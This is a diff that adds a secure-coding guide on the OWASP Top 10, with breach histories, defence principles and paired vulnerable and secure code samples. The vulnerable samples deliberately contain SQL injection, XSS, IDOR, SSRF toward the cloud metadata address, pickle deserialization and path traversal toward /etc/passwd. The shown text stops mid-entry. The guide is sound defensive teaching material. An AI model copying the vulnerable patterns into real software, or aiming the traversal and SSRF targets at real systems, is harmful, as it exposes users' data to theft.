- package/templates/examples/implementation-plan.example.json +17 -0
- package/templates/examples/proposed-learning.example.json +13 -0
- package/templates/examples/research.example.json +15 -0
- package/templates/examples/research.example.md +6 -0
- package/templates/examples/review.example.json +17 -0
- package/templates/examples/run-manifest.example.json +9 -0
- package/templates/examples/spec-challenge.example.json +14 -0
- package/templates/examples/spec.example.json +21 -0
- package/templates/examples/verification-proof.example.json +21 -0
- package/templates/examples/wazir-manifest.example.yaml +65 -0
- package/templates/task-definition-schema.md +99 -0
- package/tooling/README.md +20 -0
- package/tooling/src/adapters/context-mode.js +50 -0
- package/tooling/src/capture/command.js +376 -0
- package/tooling/src/capture/store.js +99 -0
- package/tooling/src/capture/usage.js +270 -0
- package/tooling/src/checks/branches.js +50 -0
- package/tooling/src/checks/brand-truth.js +110 -0
- package/tooling/src/checks/changelog.js +231 -0
- package/tooling/src/checks/command-registry.js +36 -0
- package/tooling/src/checks/commits.js +102 -0
- package/tooling/src/checks/docs-drift.js +103 -0
- package/tooling/src/checks/docs-truth.js +201 -0
- package/tooling/src/checks/runtime-surface.js +156 -0
- package/tooling/src/cli.js +116 -0
- package/tooling/src/command-options.js +56 -0
- package/tooling/src/commands/validate.js +320 -0
- package/tooling/src/doctor/command.js +91 -0
- package/tooling/src/export/command.js +77 -0
- package/tooling/src/export/compiler.js +498 -0
- package/tooling/src/guards/loop-cap-guard.js +52 -0
- package/tooling/src/guards/protected-path-write-guard.js +67 -0
- package/tooling/src/index/command.js +152 -0
- package/tooling/src/index/storage.js +1061 -0
- package/tooling/src/index/summarizers.js +261 -0
- package/tooling/src/loaders.js +18 -0
- package/tooling/src/project-root.js +22 -0
- package/tooling/src/recall/command.js +225 -0
- package/tooling/src/schema-validator.js +30 -0
- package/tooling/src/state-root.js +40 -0
- package/tooling/src/status/command.js +71 -0
- package/wazir.manifest.yaml +135 -0
- package/workflows/README.md +19 -0
- package/workflows/author.md +42 -0
- package/workflows/clarify.md +38 -0
- package/workflows/design-review.md +46 -0
- package/workflows/design.md +44 -0
- package/workflows/discover.md +37 -0
- package/workflows/execute.md +48 -0
- package/workflows/learn.md +38 -0
- package/workflows/plan-review.md +42 -0
- package/workflows/plan.md +39 -0
- package/workflows/prepare-next.md +37 -0
- package/workflows/review.md +40 -0
- package/workflows/run-audit.md +41 -0
- package/workflows/spec-challenge.md +41 -0
- package/workflows/specify.md +38 -0
- package/workflows/verify.md +37 -0
|
@@ -0,0 +1,1354 @@
|
|
|
1
|
+
# OWASP Top 10 — Security Expertise Module
|
|
2
|
+
|
|
3
|
+
severity: Critical
|
|
4
|
+
applies_to: All
|
|
5
|
+
last_updated: 2026-03-08
|
|
6
|
+
owasp_version: "2021 (current official), 2025 (latest release)"
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## 1. Threat Landscape
|
|
11
|
+
|
|
12
|
+
The OWASP Top 10 is the industry-standard awareness document for web application security risks.
|
|
13
|
+
The 2021 edition analyzed ~500,000 applications across 400+ CWEs. The 2025 edition expanded to
|
|
14
|
+
589 CWEs with data from 175,000+ CVE records in the National Vulnerability Database.
|
|
15
|
+
|
|
16
|
+
### A01:2021 — Broken Access Control
|
|
17
|
+
|
|
18
|
+
Broken Access Control moved from #5 (2017) to #1. On average 3.81% of applications tested had
|
|
19
|
+
one or more CWEs in this category, with over 318,000 occurrences. It remains #1 in the 2025
|
|
20
|
+
edition with the highest average incidence rate (5.19%) and 215,000+ occurrences.
|
|
21
|
+
|
|
22
|
+
**Real Breach — Capital One 2019:** A former AWS employee exploited a Server-Side Request Forgery
|
|
23
|
+
(SSRF) vulnerability in a misconfigured WAF to query the EC2 instance metadata service. She
|
|
24
|
+
retrieved temporary AWS credentials and accessed S3 buckets containing 106 million customer
|
|
25
|
+
records including SSNs, bank account numbers, and credit scores. Capital One paid $80 million in
|
|
26
|
+
regulatory settlements. The SSRF category was subsequently added to OWASP A01 in the 2025 edition.
|
|
27
|
+
|
|
28
|
+
**Key CWEs:** CWE-200, CWE-201, CWE-352, CWE-862, CWE-863, CWE-918.
|
|
29
|
+
|
|
30
|
+
### A02:2021 — Cryptographic Failures
|
|
31
|
+
|
|
32
|
+
Previously "Sensitive Data Exposure" (a symptom), renamed to focus on the root cause. Covers
|
|
33
|
+
failures related to cryptography that lead to exposure of sensitive data or system compromise.
|
|
34
|
+
|
|
35
|
+
**Real Breach — LastPass 2022-2023:** Attackers compromised a developer account in August 2022,
|
|
36
|
+
gaining access to source code and embedded credentials. In November 2022, using information from
|
|
37
|
+
the first breach, they compromised a DevOps engineer's personal computer via a vulnerable
|
|
38
|
+
third-party package and accessed cloud storage containing customer vault backups. Encrypted
|
|
39
|
+
vaults were exfiltrated — those protected by weak master passwords were subsequently cracked.
|
|
40
|
+
LastPass settled a $24.5 million class action in 2025.
|
|
41
|
+
|
|
42
|
+
**Key CWEs:** CWE-259, CWE-327, CWE-328, CWE-331, CWE-760.
|
|
43
|
+
|
|
44
|
+
### A03:2021 — Injection
|
|
45
|
+
|
|
46
|
+
Includes SQL injection, NoSQL injection, OS command injection, LDAP injection, and Cross-Site
|
|
47
|
+
Scripting (XSS, consolidated from its own 2017 category). Dropped to #5 in the 2025 edition
|
|
48
|
+
but remains critically dangerous.
|
|
49
|
+
|
|
50
|
+
**Real Breach — MOVEit 2023 (CVE-2023-34362):** The Clop ransomware group exploited a critical
|
|
51
|
+
SQL injection zero-day in Progress Software's MOVEit Transfer, impacting 95+ million people and
|
|
52
|
+
2,700+ organizations including Shell, British Airways, the US Department of Energy, and Johns
|
|
53
|
+
Hopkins Health System.
|
|
54
|
+
|
|
55
|
+
**Real Breach — Equifax 2017 (CVE-2017-5638):** Apache Struts remote code execution via
|
|
56
|
+
malicious HTTP Content-Type header. The patch was available for two months before attackers
|
|
57
|
+
exploited it, compromising 147.9 million Americans' SSNs, birth dates, and addresses.
|
|
58
|
+
|
|
59
|
+
**Key CWEs:** CWE-79 (XSS), CWE-89 (SQLi), CWE-77, CWE-78 (OS Command), CWE-917 (EL Injection).
|
|
60
|
+
|
|
61
|
+
### A04:2021 — Insecure Design
|
|
62
|
+
|
|
63
|
+
New in 2021. Addresses missing or ineffective security controls at the design level — threat
|
|
64
|
+
modeling failures, insecure architecture decisions, missing business logic validation. No amount
|
|
65
|
+
of secure code can fix a fundamentally insecure design.
|
|
66
|
+
|
|
67
|
+
**Example Pattern:** An e-commerce site allows unlimited coupon applications without server-side
|
|
68
|
+
validation, trusting client-side logic. A booking system permits race conditions that allow
|
|
69
|
+
double-booking through concurrent requests.
|
|
70
|
+
|
|
71
|
+
**Key CWEs:** CWE-209, CWE-256, CWE-501, CWE-522.
|
|
72
|
+
|
|
73
|
+
### A05:2021 — Security Misconfiguration
|
|
74
|
+
|
|
75
|
+
Moved from #6 to #5 in 2021, then to #2 in the 2025 edition. Absorbs the former XML External
|
|
76
|
+
Entities (XXE) category. 90% of applications tested had some form of misconfiguration.
|
|
77
|
+
|
|
78
|
+
**Real Breach — Uber 2022:** An attacker purchased stolen employee credentials from the dark
|
|
79
|
+
web, then bypassed MFA through social engineering (MFA fatigue — flooding the employee with push
|
|
80
|
+
notifications via WhatsApp). Once inside the VPN, the attacker found PowerShell scripts
|
|
81
|
+
containing hardcoded admin credentials for Thycotic PAM, gaining full access to AWS, GCP,
|
|
82
|
+
GSuite, Slack, and HackerOne.
|
|
83
|
+
|
|
84
|
+
**Key CWEs:** CWE-16, CWE-611 (XXE), CWE-1032, CWE-1174.
|
|
85
|
+
|
|
86
|
+
### A06:2021 — Vulnerable and Outdated Components
|
|
87
|
+
|
|
88
|
+
Using components with known vulnerabilities. Expanded to "Software Supply Chain Failures" (A03)
|
|
89
|
+
in the 2025 edition, covering the full software ecosystem including dependencies, build systems,
|
|
90
|
+
and distribution infrastructure.
|
|
91
|
+
|
|
92
|
+
**Real Breach — SolarWinds 2020:** Nation-state actors (APT29/Cozy Bear) compromised the
|
|
93
|
+
SolarWinds Orion build system, inserting the SUNBURST backdoor into legitimate software updates
|
|
94
|
+
distributed to ~18,000 organizations including US Treasury, Commerce, and Homeland Security.
|
|
95
|
+
The attack persisted undetected for 9+ months.
|
|
96
|
+
|
|
97
|
+
**Real Breach — Log4Shell 2021 (CVE-2021-44228):** CVSS 10.0. A zero-day RCE in Apache Log4j,
|
|
98
|
+
a ubiquitous Java logging library. 93% of cloud enterprise environments were vulnerable. Affected
|
|
99
|
+
Amazon, Google, Microsoft cloud services. Exploitation began within hours of disclosure.
|
|
100
|
+
|
|
101
|
+
**Key CWEs:** CWE-1104, CWE-937.
|
|
102
|
+
|
|
103
|
+
### A07:2021 — Identification and Authentication Failures
|
|
104
|
+
|
|
105
|
+
Previously "Broken Authentication." Covers credential stuffing, brute force, weak passwords,
|
|
106
|
+
session fixation, and missing MFA.
|
|
107
|
+
|
|
108
|
+
**Real Breach — Okta 2023:** An employee's personal Gmail was compromised, and because they had
|
|
109
|
+
saved work credentials in Chrome and logged into personal accounts on their work laptop, attackers
|
|
110
|
+
accessed Okta's support case management system. HAR files containing session tokens were stolen,
|
|
111
|
+
enabling session hijacking of 5 customers' accounts. The breach ultimately exposed data for all
|
|
112
|
+
Okta support customers.
|
|
113
|
+
|
|
114
|
+
**Key CWEs:** CWE-287, CWE-384, CWE-798, CWE-306.
|
|
115
|
+
|
|
116
|
+
### A08:2021 — Software and Data Integrity Failures
|
|
117
|
+
|
|
118
|
+
New in 2021. Covers assumptions about software updates, critical data, and CI/CD pipelines
|
|
119
|
+
without verifying integrity. Includes insecure deserialization (formerly its own 2017 category).
|
|
120
|
+
|
|
121
|
+
**Example Pattern:** Auto-update mechanisms that do not verify code signatures. CI/CD pipelines
|
|
122
|
+
that pull dependencies without hash verification. Applications that deserialize untrusted data.
|
|
123
|
+
|
|
124
|
+
**Key CWEs:** CWE-502 (Deserialization), CWE-829, CWE-494.
|
|
125
|
+
|
|
126
|
+
### A09:2021 — Security Logging and Monitoring Failures
|
|
127
|
+
|
|
128
|
+
Insufficient logging, detection, monitoring, and active response. Without proper logging,
|
|
129
|
+
breaches cannot be detected. The Equifax breach persisted undetected for 78 days. Updated to
|
|
130
|
+
"Logging & Alerting Failures" in the 2025 edition.
|
|
131
|
+
|
|
132
|
+
**Key CWEs:** CWE-117, CWE-223, CWE-532, CWE-778.
|
|
133
|
+
|
|
134
|
+
### A10:2021 — Server-Side Request Forgery (SSRF)
|
|
135
|
+
|
|
136
|
+
Added from the community survey. Relatively low incidence but high impact potential. Rolled into
|
|
137
|
+
A01 (Broken Access Control) in the 2025 edition. Replaced by "Mishandling of Exceptional
|
|
138
|
+
Conditions" (A10:2025).
|
|
139
|
+
|
|
140
|
+
**Key CWEs:** CWE-918.
|
|
141
|
+
|
|
142
|
+
### Attacker Motivations and Trends
|
|
143
|
+
|
|
144
|
+
| Motivation | Trend (2024-2026) |
|
|
145
|
+
|--------------------|----------------------------------------------------|
|
|
146
|
+
| Financial gain | Ransomware-as-a-Service, double extortion |
|
|
147
|
+
| Supply chain | Build system compromise, dependency confusion |
|
|
148
|
+
| Credential theft | MFA fatigue, session hijacking, infostealer malware |
|
|
149
|
+
| Cloud exploitation | SSRF to metadata services, misconfigured IAM |
|
|
150
|
+
| AI-assisted | Automated vulnerability scanning, phishing at scale |
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## 2. Core Security Principles
|
|
155
|
+
|
|
156
|
+
### Defense-in-Depth Layers
|
|
157
|
+
|
|
158
|
+
```
|
|
159
|
+
Layer 1: Network — WAF, firewall, rate limiting, DDoS protection
|
|
160
|
+
Layer 2: Transport — TLS 1.3, certificate pinning, HSTS
|
|
161
|
+
Layer 3: Authentication — MFA, passwordless, session management
|
|
162
|
+
Layer 4: Authorization — RBAC/ABAC, principle of least privilege
|
|
163
|
+
Layer 5: Input — Validation, sanitization, parameterized queries
|
|
164
|
+
Layer 6: Application — Secure defaults, error handling, CSP
|
|
165
|
+
Layer 7: Data — Encryption at rest/transit, tokenization, masking
|
|
166
|
+
Layer 8: Monitoring — SIEM, anomaly detection, audit trails
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### Fundamental Rules by Category
|
|
170
|
+
|
|
171
|
+
| OWASP Category | Core Principle |
|
|
172
|
+
|--------------------------|---------------------------------------------------------|
|
|
173
|
+
| A01 Broken Access Control | Deny by default. Enforce server-side. Validate ownership.|
|
|
174
|
+
| A02 Cryptographic Failures| Encrypt sensitive data at rest and in transit. No custom crypto.|
|
|
175
|
+
| A03 Injection | Never trust input. Parameterize everything. Context-encode output.|
|
|
176
|
+
| A04 Insecure Design | Threat model before code. Abuse cases alongside use cases.|
|
|
177
|
+
| A05 Security Misconfig | Harden defaults. Automate config. No unnecessary features.|
|
|
178
|
+
| A06 Vulnerable Components | Track dependencies. Patch within SLA. Verify integrity. |
|
|
179
|
+
| A07 Auth Failures | MFA everywhere. Secure credential storage. Rate limit auth.|
|
|
180
|
+
| A08 Integrity Failures | Verify signatures. Pin dependencies. Secure CI/CD. |
|
|
181
|
+
| A09 Logging Failures | Log security events. Centralize. Alert on anomalies. |
|
|
182
|
+
| A10 SSRF | Allowlist URLs. Deny internal networks. Sanitize schemes. |
|
|
183
|
+
|
|
184
|
+
### Zero Trust Principles Applied to OWASP
|
|
185
|
+
|
|
186
|
+
1. **Never trust, always verify** — Every request must be authenticated and authorized (A01, A07)
|
|
187
|
+
2. **Least privilege access** — Grant minimum permissions required (A01, A05)
|
|
188
|
+
3. **Assume breach** — Design logging and monitoring as if compromise is inevitable (A09)
|
|
189
|
+
4. **Verify explicitly** — Validate all inputs, all signatures, all certificates (A03, A08)
|
|
190
|
+
5. **Secure by default** — Ship with security enabled, not as opt-in (A04, A05)
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## 3. Implementation Patterns
|
|
195
|
+
|
|
196
|
+
### Secure-by-Default Patterns
|
|
197
|
+
|
|
198
|
+
**Access Control Pattern — Server-Side Enforcement:**
|
|
199
|
+
```
|
|
200
|
+
Request → Authentication middleware → Authorization check → Business logic
|
|
201
|
+
↓ (fail any step)
|
|
202
|
+
→ 401/403 response (no information leakage)
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**Input Validation Pattern — Allowlist-First:**
|
|
206
|
+
```
|
|
207
|
+
Raw Input → Schema validation (type, length, format)
|
|
208
|
+
→ Business rule validation (range, relationship)
|
|
209
|
+
→ Context-specific encoding (HTML, SQL, URL, JS)
|
|
210
|
+
→ Safe output
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
**Cryptographic Pattern — Envelope Encryption:**
|
|
214
|
+
```
|
|
215
|
+
Plaintext → Encrypt with Data Encryption Key (DEK)
|
|
216
|
+
DEK → Encrypt with Key Encryption Key (KEK)
|
|
217
|
+
KEK → Stored in HSM/KMS (AWS KMS, GCP Cloud KMS, Azure Key Vault)
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
### Recommended Libraries by Language
|
|
221
|
+
|
|
222
|
+
| Concern | TypeScript/Node.js | Python | Java/Spring |
|
|
223
|
+
|---------------------|-----------------------------|-------------------------|----------------------|
|
|
224
|
+
| Input validation | zod, joi, class-validator | pydantic, marshmallow | Bean Validation |
|
|
225
|
+
| SQL parameterization | Prisma, Drizzle, knex | SQLAlchemy, Django ORM | JPA/Hibernate |
|
|
226
|
+
| Password hashing | bcrypt, argon2 | argon2-cffi, bcrypt | Spring Security |
|
|
227
|
+
| JWT handling | jose, jsonwebtoken | PyJWT, authlib | nimbus-jose-jwt |
|
|
228
|
+
| CSRF protection | csurf, csrf-csrf | Django CSRF middleware | Spring Security CSRF |
|
|
229
|
+
| Output encoding | DOMPurify, he | markupsafe, bleach | OWASP Java Encoder |
|
|
230
|
+
| Rate limiting | express-rate-limit | django-ratelimit | Bucket4j |
|
|
231
|
+
| HTTP security headers| helmet | django-csp, secure | Spring Security |
|
|
232
|
+
|
|
233
|
+
### Architecture Patterns
|
|
234
|
+
|
|
235
|
+
**API Gateway Pattern (addresses A01, A03, A05, A07):**
|
|
236
|
+
```
|
|
237
|
+
Client → API Gateway (auth, rate limit, input validation, WAF)
|
|
238
|
+
→ Service mesh (mTLS, circuit breaker)
|
|
239
|
+
→ Microservice (business logic only, pre-validated input)
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
**Secrets Management Pattern (addresses A02, A05):**
|
|
243
|
+
```
|
|
244
|
+
Application → SDK/Sidecar → Vault/KMS → Secrets
|
|
245
|
+
↓
|
|
246
|
+
Audit log (who accessed what, when)
|
|
247
|
+
Auto-rotation on schedule
|
|
248
|
+
Lease-based access with TTL
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
**Supply Chain Security Pattern (addresses A06, A08):**
|
|
252
|
+
```
|
|
253
|
+
Developer → Lockfile with hashes → CI verification
|
|
254
|
+
→ SBOM generation → Vulnerability scanning
|
|
255
|
+
→ Signed artifacts → Verified deployment
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
---
|
|
259
|
+
|
|
260
|
+
## 4. Vulnerability Catalog
|
|
261
|
+
|
|
262
|
+
### 4.1 SQL Injection (CWE-89) — Maps to A03 Injection
|
|
263
|
+
|
|
264
|
+
**CVSS Range:** 7.5-10.0 | **Prevalence:** Very High
|
|
265
|
+
|
|
266
|
+
Vulnerable:
|
|
267
|
+
```python
|
|
268
|
+
# DANGEROUS — string concatenation in SQL
|
|
269
|
+
def get_user(username):
|
|
270
|
+
query = f"SELECT * FROM users WHERE username = '{username}'"
|
|
271
|
+
cursor.execute(query)
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
Secure:
|
|
275
|
+
```python
|
|
276
|
+
# SAFE — parameterized query
|
|
277
|
+
def get_user(username):
|
|
278
|
+
query = "SELECT * FROM users WHERE username = %s"
|
|
279
|
+
cursor.execute(query, (username,))
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### 4.2 Cross-Site Scripting / XSS (CWE-79) — Maps to A03 Injection
|
|
283
|
+
|
|
284
|
+
**CVSS Range:** 4.3-9.6 | **Prevalence:** Very High
|
|
285
|
+
|
|
286
|
+
Vulnerable:
|
|
287
|
+
```typescript
|
|
288
|
+
// DANGEROUS — unsanitized HTML insertion
|
|
289
|
+
app.get('/search', (req, res) => {
|
|
290
|
+
res.send(`<p>Results for: ${req.query.q}</p>`);
|
|
291
|
+
});
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
Secure:
|
|
295
|
+
```typescript
|
|
296
|
+
// SAFE — context-aware output encoding
|
|
297
|
+
import { encode } from 'he';
|
|
298
|
+
app.get('/search', (req, res) => {
|
|
299
|
+
res.send(`<p>Results for: ${encode(req.query.q)}</p>`);
|
|
300
|
+
});
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
### 4.3 Insecure Direct Object Reference / IDOR (CWE-639) — Maps to A01 Broken Access Control
|
|
304
|
+
|
|
305
|
+
**CVSS Range:** 5.3-8.6 | **Prevalence:** High
|
|
306
|
+
|
|
307
|
+
Vulnerable:
|
|
308
|
+
```typescript
|
|
309
|
+
// DANGEROUS — no ownership check
|
|
310
|
+
app.get('/api/orders/:id', async (req, res) => {
|
|
311
|
+
const order = await db.orders.findById(req.params.id);
|
|
312
|
+
res.json(order);
|
|
313
|
+
});
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
Secure:
|
|
317
|
+
```typescript
|
|
318
|
+
// SAFE — verify resource ownership
|
|
319
|
+
app.get('/api/orders/:id', authenticate, async (req, res) => {
|
|
320
|
+
const order = await db.orders.findOne({
|
|
321
|
+
id: req.params.id,
|
|
322
|
+
userId: req.user.id // Scoped to authenticated user
|
|
323
|
+
});
|
|
324
|
+
if (!order) return res.status(404).json({ error: 'Not found' });
|
|
325
|
+
res.json(order);
|
|
326
|
+
});
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
### 4.4 Server-Side Request Forgery (CWE-918) — Maps to A10 SSRF / A01 (2025)
|
|
330
|
+
|
|
331
|
+
**CVSS Range:** 5.3-9.8 | **Prevalence:** Medium
|
|
332
|
+
|
|
333
|
+
Vulnerable:
|
|
334
|
+
```python
|
|
335
|
+
# DANGEROUS — unrestricted URL fetching
|
|
336
|
+
import requests
|
|
337
|
+
def fetch_url(url):
|
|
338
|
+
return requests.get(url).text # Can access http://169.254.169.254/
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
Secure:
|
|
342
|
+
```python
|
|
343
|
+
# SAFE — URL allowlist with scheme and host validation
|
|
344
|
+
from urllib.parse import urlparse
|
|
345
|
+
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
|
|
346
|
+
ALLOWED_SCHEMES = {"https"}
|
|
347
|
+
|
|
348
|
+
def fetch_url(url):
|
|
349
|
+
parsed = urlparse(url)
|
|
350
|
+
if parsed.scheme not in ALLOWED_SCHEMES:
|
|
351
|
+
raise ValueError("Invalid URL scheme")
|
|
352
|
+
if parsed.hostname not in ALLOWED_HOSTS:
|
|
353
|
+
raise ValueError("Host not in allowlist")
|
|
354
|
+
# Also block private IP ranges
|
|
355
|
+
import ipaddress
|
|
356
|
+
try:
|
|
357
|
+
ip = ipaddress.ip_address(parsed.hostname)
|
|
358
|
+
if ip.is_private or ip.is_loopback or ip.is_link_local:
|
|
359
|
+
raise ValueError("Internal addresses blocked")
|
|
360
|
+
except ValueError:
|
|
361
|
+
pass # hostname is not an IP, DNS resolution checked separately
|
|
362
|
+
return requests.get(url, timeout=5, allow_redirects=False).text
|
|
363
|
+
```
|
|
364
|
+
|
|
365
|
+
### 4.5 Insecure Deserialization (CWE-502) — Maps to A08 Integrity Failures
|
|
366
|
+
|
|
367
|
+
**CVSS Range:** 7.5-10.0 | **Prevalence:** Medium
|
|
368
|
+
|
|
369
|
+
Vulnerable:
|
|
370
|
+
```python
|
|
371
|
+
# DANGEROUS — deserializing untrusted pickle data
|
|
372
|
+
import pickle
|
|
373
|
+
def load_session(data):
|
|
374
|
+
return pickle.loads(data) # Arbitrary code execution
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
Secure:
|
|
378
|
+
```python
|
|
379
|
+
# SAFE — use JSON with schema validation
|
|
380
|
+
import json
|
|
381
|
+
from pydantic import BaseModel
|
|
382
|
+
|
|
383
|
+
class SessionData(BaseModel):
|
|
384
|
+
user_id: str
|
|
385
|
+
role: str
|
|
386
|
+
expires_at: int
|
|
387
|
+
|
|
388
|
+
def load_session(data: str) -> SessionData:
|
|
389
|
+
return SessionData.model_validate_json(data)
|
|
390
|
+
```
|
|
391
|
+
|
|
392
|
+
### 4.6 Broken Authentication / Credential Stuffing (CWE-287) — Maps to A07
|
|
393
|
+
|
|
394
|
+
**CVSS Range:** 7.5-9.8 | **Prevalence:** High
|
|
395
|
+
|
|
396
|
+
Vulnerable:
|
|
397
|
+
```typescript
|
|
398
|
+
// DANGEROUS — no rate limiting, timing oracle, reveals user existence
|
|
399
|
+
app.post('/login', async (req, res) => {
|
|
400
|
+
const user = await db.users.findByEmail(req.body.email);
|
|
401
|
+
if (!user) return res.status(401).json({ error: 'User not found' });
|
|
402
|
+
if (req.body.password !== user.password) {
|
|
403
|
+
return res.status(401).json({ error: 'Wrong password' });
|
|
404
|
+
}
|
|
405
|
+
res.json({ token: generateToken(user) });
|
|
406
|
+
});
|
|
407
|
+
```
|
|
408
|
+
|
|
409
|
+
Secure:
|
|
410
|
+
```typescript
|
|
411
|
+
// SAFE — constant-time comparison, generic errors, rate limiting
|
|
412
|
+
import { timingSafeEqual } from 'crypto';
|
|
413
|
+
import { verify } from 'argon2';
|
|
414
|
+
|
|
415
|
+
app.post('/login', rateLimiter({ max: 5, window: '15m' }), async (req, res) => {
|
|
416
|
+
const user = await db.users.findByEmail(req.body.email);
|
|
417
|
+
// Always hash even if user not found (prevents timing attacks)
|
|
418
|
+
const valid = user ? await verify(user.passwordHash, req.body.password) : false;
|
|
419
|
+
if (!valid) {
|
|
420
|
+
return res.status(401).json({ error: 'Invalid credentials' });
|
|
421
|
+
}
|
|
422
|
+
res.json({ token: generateToken(user) });
|
|
423
|
+
});
|
|
424
|
+
```
|
|
425
|
+
|
|
426
|
+
### 4.7 Missing Function-Level Access Control (CWE-862) — Maps to A01
|
|
427
|
+
|
|
428
|
+
**CVSS Range:** 5.3-8.8 | **Prevalence:** High
|
|
429
|
+
|
|
430
|
+
Vulnerable:
|
|
431
|
+
```typescript
|
|
432
|
+
// DANGEROUS — admin endpoint with no authorization check
|
|
433
|
+
app.delete('/api/admin/users/:id', async (req, res) => {
|
|
434
|
+
await db.users.delete(req.params.id);
|
|
435
|
+
res.json({ success: true });
|
|
436
|
+
});
|
|
437
|
+
```
|
|
438
|
+
|
|
439
|
+
Secure:
|
|
440
|
+
```typescript
|
|
441
|
+
// SAFE — middleware chain: authenticate, then authorize
|
|
442
|
+
app.delete('/api/admin/users/:id',
|
|
443
|
+
authenticate,
|
|
444
|
+
authorize('admin'),
|
|
445
|
+
async (req, res) => {
|
|
446
|
+
await db.users.delete(req.params.id);
|
|
447
|
+
auditLog.record({ action: 'user_deleted', targetId: req.params.id, by: req.user.id });
|
|
448
|
+
res.json({ success: true });
|
|
449
|
+
}
|
|
450
|
+
);
|
|
451
|
+
```
|
|
452
|
+
|
|
453
|
+
### 4.8 Security Misconfiguration — Debug Mode (CWE-16) — Maps to A05
|
|
454
|
+
|
|
455
|
+
Vulnerable:
|
|
456
|
+
```python
|
|
457
|
+
# DANGEROUS — debug mode in production exposes stack traces, secrets
|
|
458
|
+
app = Flask(__name__)
|
|
459
|
+
app.config['DEBUG'] = True
|
|
460
|
+
app.config['SECRET_KEY'] = 'dev-secret-123'
|
|
461
|
+
```
|
|
462
|
+
|
|
463
|
+
Secure:
|
|
464
|
+
```python
|
|
465
|
+
# SAFE — environment-driven configuration, no hardcoded secrets
|
|
466
|
+
import os
|
|
467
|
+
app = Flask(__name__)
|
|
468
|
+
app.config['DEBUG'] = False
|
|
469
|
+
app.config['SECRET_KEY'] = os.environ['FLASK_SECRET_KEY'] # From vault/env
|
|
470
|
+
app.config['SESSION_COOKIE_SECURE'] = True
|
|
471
|
+
app.config['SESSION_COOKIE_HTTPONLY'] = True
|
|
472
|
+
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
|
|
473
|
+
```
|
|
474
|
+
|
|
475
|
+
### 4.9 Insufficient Logging (CWE-778) — Maps to A09
|
|
476
|
+
|
|
477
|
+
Vulnerable:
|
|
478
|
+
```typescript
|
|
479
|
+
// DANGEROUS — no logging of security events
|
|
480
|
+
app.post('/login', async (req, res) => {
|
|
481
|
+
const user = await authenticate(req.body);
|
|
482
|
+
if (user) res.json({ token: createToken(user) });
|
|
483
|
+
else res.status(401).end();
|
|
484
|
+
});
|
|
485
|
+
```
|
|
486
|
+
|
|
487
|
+
Secure:
|
|
488
|
+
```typescript
|
|
489
|
+
// SAFE — structured security event logging
|
|
490
|
+
app.post('/login', async (req, res) => {
|
|
491
|
+
const user = await authenticate(req.body);
|
|
492
|
+
if (user) {
|
|
493
|
+
logger.info('auth.login.success', {
|
|
494
|
+
userId: user.id, ip: req.ip, userAgent: req.headers['user-agent']
|
|
495
|
+
});
|
|
496
|
+
res.json({ token: createToken(user) });
|
|
497
|
+
} else {
|
|
498
|
+
logger.warn('auth.login.failure', {
|
|
499
|
+
email: req.body.email, ip: req.ip, userAgent: req.headers['user-agent']
|
|
500
|
+
});
|
|
501
|
+
res.status(401).json({ error: 'Invalid credentials' });
|
|
502
|
+
}
|
|
503
|
+
});
|
|
504
|
+
```
|
|
505
|
+
|
|
506
|
+
### 4.10 Hardcoded Credentials (CWE-798) — Maps to A07
|
|
507
|
+
|
|
508
|
+
Vulnerable:
|
|
509
|
+
```python
|
|
510
|
+
# DANGEROUS — credentials in source code
|
|
511
|
+
DB_PASSWORD = "super_secret_prod_password"
|
|
512
|
+
API_KEY = "sk-live-abc123def456"
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
Secure:
|
|
516
|
+
```python
|
|
517
|
+
# SAFE — secrets from environment or vault
|
|
518
|
+
import os
|
|
519
|
+
DB_PASSWORD = os.environ["DB_PASSWORD"] # Injected at runtime
|
|
520
|
+
API_KEY = vault_client.read("secret/api_key") # From HashiCorp Vault
|
|
521
|
+
```
|
|
522
|
+
|
|
523
|
+
### 4.11 XML External Entity / XXE (CWE-611) — Maps to A05 Security Misconfiguration
|
|
524
|
+
|
|
525
|
+
Vulnerable:
|
|
526
|
+
```python
|
|
527
|
+
# DANGEROUS — XML parser with external entities enabled
|
|
528
|
+
from lxml import etree
|
|
529
|
+
def parse_xml(xml_string):
|
|
530
|
+
return etree.fromstring(xml_string) # XXE possible
|
|
531
|
+
```
|
|
532
|
+
|
|
533
|
+
Secure:
|
|
534
|
+
```python
|
|
535
|
+
# SAFE — disable external entities and DTD processing
|
|
536
|
+
from lxml import etree
|
|
537
|
+
def parse_xml(xml_string):
|
|
538
|
+
parser = etree.XMLParser(
|
|
539
|
+
resolve_entities=False,
|
|
540
|
+
no_network=True,
|
|
541
|
+
dtd_validation=False,
|
|
542
|
+
load_dtd=False
|
|
543
|
+
)
|
|
544
|
+
return etree.fromstring(xml_string.encode(), parser=parser)
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
### 4.12 Path Traversal (CWE-22) — Maps to A01 Broken Access Control
|
|
548
|
+
|
|
549
|
+
Vulnerable:
|
|
550
|
+
```typescript
|
|
551
|
+
// DANGEROUS — direct path concatenation
|
|
552
|
+
app.get('/files/:name', (req, res) => {
|
|
553
|
+
res.sendFile(`/uploads/${req.params.name}`); // ../../etc/passwd
|
|
554
|
+
});
|
|
555
|
+
```
|
|
556
|
+
|
|
557
|
+
Secure:
|
